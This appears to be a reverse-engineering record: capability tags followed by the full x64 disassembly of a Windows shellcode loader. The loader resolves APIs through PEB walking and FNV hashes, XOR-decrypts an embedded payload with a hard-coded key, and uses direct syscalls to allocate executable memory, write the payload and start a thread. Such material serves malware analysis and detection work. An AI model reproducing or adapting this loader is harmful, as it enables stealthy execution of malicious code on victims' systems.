Function at 0x1400010a0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x278
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1f0], 0xfffffffffffffffe
mov dword [rsp + 0x20], 1
lea rdx, str.debug.log
lea rsi, [rbp + 0xd0]
mov rcx, rsi
mov r8d, 0xa
mov r9d, 0x40
call fcn.140001cd0
lea rdx, str.Program_started
mov rcx, rsi
call fcn.140001810
mov rcx, rax
call fcn.140001c00
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
movsxd rcx, dword [rax + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
mov edx, dword [rax + rcx + 0x18]
lea r8, [rax + 2]
mov r10d, dword [0x140046004]
lea r9, [0x140046004]
jmp 0x14000115b
xor r10d, r10d
test edx, edx
je 0x1400011ec
dec edx
test r10d, r10d
je 0x140001150
mov esi, dword [rax + rcx + 0x20]
add rsi, rax
mov r11d, edx
mov edi, dword [rsi + r11*4]
add rdi, r8
mov ebx, r10d
mov rsi, r9
nop dword [rax]
mov r12d, 0x811c9dc5
mov r14, rdi
nop dword [rax]
mov r15d, r12d
movsx r13d, byte [r14]
inc r14
xor r12d, r13d
imul r12d, r12d, 0x1000193
test r13d, r13d
jne 0x140001190
cmp r15d, ebx
je 0x1400011c0
mov ebx, dword [rsi + 4]
add rsi, 4
test ebx, ebx
jne 0x140001180
jmp 0x140001153
mov r10d, dword [rax + rcx + 0x1c]
mov edi, dword [rax + rcx + 0x24]
add r10, rax
add rdi, rax
movzx r11d, word [rdi + r11*2]
mov r10d, dword [r10 + r11*4]
mov r10d, dword [rax + r10 + 4]
mov dword [rsi], r10d
mov r10d, dword [0x140046004]
jmp 0x140001153
lea rdx, [0x14002e5d4]
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rcx, rax
call fcn.140001c00
mov qword [rbp + 0x1e8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
lea rdx, str.Process_handle_obtained
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rcx, rax
call fcn.140001c00
lea rdx, [0x14002e4c0]
lea rcx, [rbp - 0x50]
mov r8d, 0x114
call fcn.14002c770
mov qword [rbp + 0x1e0], 0x114
lea rdx, str.Payload_size:
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rdx, qword [rbp + 0x1e0]
mov rcx, rax
call fcn.140002030
lea rdx, str._bytes
mov rcx, rax
call fcn.140001810
mov rcx, rax
call fcn.140001c00
mov rdi, qword [rbp + 0x1e0]
lea rdx, [0x14002e438]
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rcx, rax
call fcn.140001c00
test rdi, rdi
je 0x140001332
cmp rdi, 1
jne 0x1400012c3
xor eax, eax
xor ecx, ecx
jmp 0x140001313
mov rdx, rdi
and rdx, 0xfffffffffffffffe
xor r8d, r8d
lea r9, str.veryASDJK123FN123FN_41PABasd123QX1235HXC57FASD___
xor eax, eax
xor ecx, ecx
nop dword [rax + rax]
cmp rcx, 0x33
cmove rcx, r8
movzx r10d, byte [rcx + r9]
xor byte [rbp + rax - 0x50], r10b
inc rcx
cmp rcx, 0x33
cmove rcx, r8
movzx r10d, byte [rcx + r9]
xor byte [rbp + rax - 0x4f], r10b
inc rcx
add rax, 2
cmp rdx, rax
jne 0x1400012e0
test dil, 1
je 0x140001332
xor edx, edx
cmp rcx, 0x33
cmovne rdx, rcx
lea rcx, str.veryASDJK123FN123FN_41PABasd123QX1235HXC57FASD___
movzx ecx, byte [rdx + rcx]
xor byte [rbp + rax - 0x50], cl
mov eax, dword [0x140046004]
lea rdx, [rbp + 0x1e8]
lea r9, [rbp + 0x1e0]
mov r10, rsi
xor r8d, r8d
sub rsp, 0x40
mov qword [rsp + 0x28], 0x3000
mov qword [rsp + 0x30], 0x40
syscall
add rsp, 0x40
test eax, eax
js 0x1400015e8
cmp qword [rbp + 0x1e8], 0
je 0x1400016ab
lea rcx, str.__20s_:__p_n
lea rdx, str.calc_payload_addr
lea r8, [rbp - 0x50]
call fcn.1400027a0
mov r8, qword [rbp + 0x1e8]
lea rcx, str.__20s_:__p_n
lea rdx, str.exec_mem_addr
call fcn.1400027a0
lea rdx, str.Memory_allocated_at:
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rdx, qword [rbp + 0x1e8]
mov rcx, rax
call fcn.140002800
mov rcx, rax
call fcn.140001c00
lea rdx, str.Attempting_to_write_to_memory_address:
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rdx, qword [rbp + 0x1e8]
mov rcx, rax
call fcn.140002800
mov rcx, rax
call fcn.140001c00
lea rdx, str.Payload_address:
lea rcx, [rbp + 0xd0]
call fcn.140001810
lea rdx, [rbp - 0x50]
mov rcx, rax
call fcn.140002800
lea rdx, str.__Size:
mov rcx, rax
call fcn.140001810
mov rdx, qword [rbp + 0x1e0]
mov rcx, rax
call fcn.140002030
mov rcx, rax
call fcn.140001c00
mov eax, dword [0x140046008]
mov rdx, qword [rbp + 0x1e8]
lea r8, [rbp - 0x50]
mov r9d, 0x114
mov r10, rsi
sub rsp, 0x30
mov qword [rsp + 0x28], 0
syscall
add rsp, 0x30
mov edi, eax
lea rdx, str.Write_Virutal_Memory_Sucessful
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rcx, rax
mov edx, edi
call fcn.140002330
mov rcx, rax
call fcn.140001c00
mov eax, dword [0x14004600c]
mov rcx, qword [rbp + 0x1e8]
lea r10, [rbp + 0x1d8]
mov edx, 0x20000000
xor r8d, r8d
mov r9, rsi
sub rsp, 0x60
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
syscall
add rsp, 0x60
mov esi, eax
lea rdx, str.Create_Thread_Good
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rcx, rax
mov edx, esi
call fcn.140002330
mov rcx, rax
call fcn.140001c00
test esi, esi
js 0x1400016d9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140001574
mov r8d, dword [rax + rdx + 0x18]
lea r9, [rax + 1]
mov r10d, dword [rax + rdx + 0x20]
add r10, rax
jmp 0x1400015b1
mov esi, 0x665f5d5c
cmp esi, 0xb3f69213
je 0x14000167e
sub r8, 1
jb 0x140001574
mov r11d, dword [r10 + r8*4]
movzx ebx, byte [rax + r11]
test bl, bl
je 0x1400015a0
add r11, r9
mov esi, 0x665f5d5c
nop dword [rax]
movsx edi, bl
xor edi, esi
imul esi, edi, 0x1000193
movzx ebx, byte [r11]
inc r11
test bl, bl
jne 0x1400015d0
jmp 0x1400015a5
mov edi, eax
lea rcx, [0x140041460]
lea rdx, str.Memory_allocation_failed__Error:
call fcn.140001810
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rcx, rax
mov edx, edi
call fcn.140002330
mov rcx, rax
call fcn.140001c00
lea rdx, str.Memory_allocation_failed__Error:
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rcx, rax
mov edx, edi
call fcn.140002330
mov rcx, rax
call fcn.140001c00
mov esi, 1
lea rcx, [rbp + 0xd0]
call fcn.140002630
jmp 0x14000171d
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r8*2]
mov r8d, dword [rcx + rdx*4]
add r8, rax
xor esi, esi
mov rcx, qword [rbp + 0x1d8]
mov edx, 0xffffffff
call r8
jmp 0x14000171d
lea rdx, str.Memory_allocation_failed_
lea rcx, [rbp + 0xd0]
call fcn.140001810
mov rcx, rax
call fcn.140001c00
mov esi, 1
lea rcx, [rbp + 0xd0]
call fcn.140002630
jmp 0x14000171d
lea rcx, [0x140041460]
lea rdx, str.Thread_creation_failed__Error:
call fcn.140001810
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rcx, rax
mov edx, esi
call fcn.140002330
mov esi, 1
mov rcx, rax
call fcn.140001c00
lea rdi, [rbp + 0x178]
mov rax, qword [rbp + 0xd0]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0xd0], rcx
mov rax, qword [rbp + 0xd0]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xa8]
mov dword [rbp + rax + 0xcc], ecx
lea rcx, [rbp + 0xd8]
call fcn.140002bd0
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x178], rax
mov rcx, rdi
call fcn.14000a358
mov eax, esi
add rsp, 0x278
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret